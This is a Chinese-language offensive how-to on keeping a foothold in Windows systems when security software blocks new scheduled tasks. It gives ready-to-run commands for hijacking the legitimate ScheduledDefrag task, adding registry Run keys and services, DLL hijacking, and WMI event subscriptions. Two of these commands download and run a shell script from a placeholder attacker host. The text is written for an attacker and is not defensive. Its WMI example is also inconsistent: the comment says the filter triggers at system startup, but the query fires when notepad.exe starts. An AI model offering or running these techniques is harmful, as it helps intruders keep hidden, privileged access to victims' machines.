### 计划任务被拦截了怎么办

1. 放弃创建，寻找修改或利用已有的计划任务

安全软件通常只监控创建新任务的行为，但可能不会对修改已有任务的行为进行强拦截，尤其是那些系统或合法程序创建的计划任务

- 攻击原理：找到一个不显眼的、定期执行的、且权限足够高的系统任务，然后修改它的执行命令，让它在执行原有任务的同时，也执行你的恶意代码

- 操作步骤：

  1. 信息收集：首先，使用 `schtasks /query /fo list /v` 命令来列出所有已有的计划任务。你需要关注以下几点：

     - 任务名称：寻找那些看起来合法、不引人注意的任务，例如与系统更新、日志清理相关的任务
     - 执行账户：寻找那些以 `SYSTEM` 或 `Administrator` 权限运行的任务
     - 触发器：了解任务的触发频率（例如每天、每周）

  2. 修改任务：使用 `schtasks /change` 命令来修改任务的执行命令

         # 示例：修改一个名为“Microsoft\Windows\Defrag\ScheduledDefrag”的合法任务
         schtasks /change /tn "Microsoft\Windows\Defrag\ScheduledDefrag" /tr "powershell.exe -c \"iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1\""

  3. 优点：这种方法利用了合法任务的“信任”，行为更加隐蔽，不容易被安全软件识别为恶意创建行为

2. 利用启动项或服务进行权限维持

如果计划任务的路走不通，启动项和服务是另一个值得尝试的切入点

- 利用注册表启动项：许多应用程序都通过注册表键值来实现开机自启动。安全软件可能会监控这些键值的创建，但你可以尝试修改一些不那么敏感的键值

  - 常见路径：

    - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
    - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`

  - 操作步骤：

        # 在注册表Run键中添加一个启动项
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyUpdater" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

  - 缺点：这种方法非常常见，很容易被安全软件拦截。你需要使用更隐蔽的键值或利用无文件方式

- 利用服务：Windows 服务可以以高权限运行，并且可以配置为开机自启动

  - 操作步骤：

        # 创建一个新的服务
        sc create MyService binPath= "C:\Users\Public\payload.exe" start= auto
        # 启动服务
        sc start MyService

  - 缺点：创建新服务同样是一个非常敏感的操作，几乎所有的安全软件都会进行拦截

3. 使用无文件和内存驻留技术

这是在高级防护环境下最有效的权限维持方法，因为它完全绕过了文件系统和注册表的监控

- DLL 劫持：找到一个经常被合法程序调用的、但路径可写的 DLL 文件，将你的恶意代码注入到这个 DLL 中

  - 操作步骤：
    1. 找到一个合法程序（例如 `c:\Program Files\Google\Chrome\Application\chrome.exe`）启动时会去加载的 DLL
    2. 将你自己的恶意 DLL 文件命名为相同的名字，并放置在程序会优先寻找的路径中。
    3. 当用户启动这个程序时，你的恶意 DLL 就会被加载并执行，从而实现权限维持
  - 优点：这种方法非常隐蔽，因为执行的是合法程序，绕过了许多行为监控

- WMI/COM 持久化：利用 Windows Management Instrumentation (WMI) 或 Component Object Model (COM) 实现持久化

  - 原理：你可以创建一个 WMI 事件订阅，当某个特定事件发生时（例如系统启动），自动触发执行你的恶意代码

  - 操作步骤：

        # 创建一个WMI事件过滤器，当系统启动时触发
        $filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"} -ErrorAction Stop
        # 创建一个WMI事件消费者，执行你的恶意代码
        $consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name="myconsumer"; CommandLineTemplate="powershell.exe -c 'iwr http://<攻击机IP>/shell.ps1|iex'"} -ErrorAction Stop
        # 将过滤器和消费者绑定
        $binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=$filter; Consumer=$consumer} -ErrorAction Stop

  - 优点：这是最高级的无文件持久化技术，非常难以被检测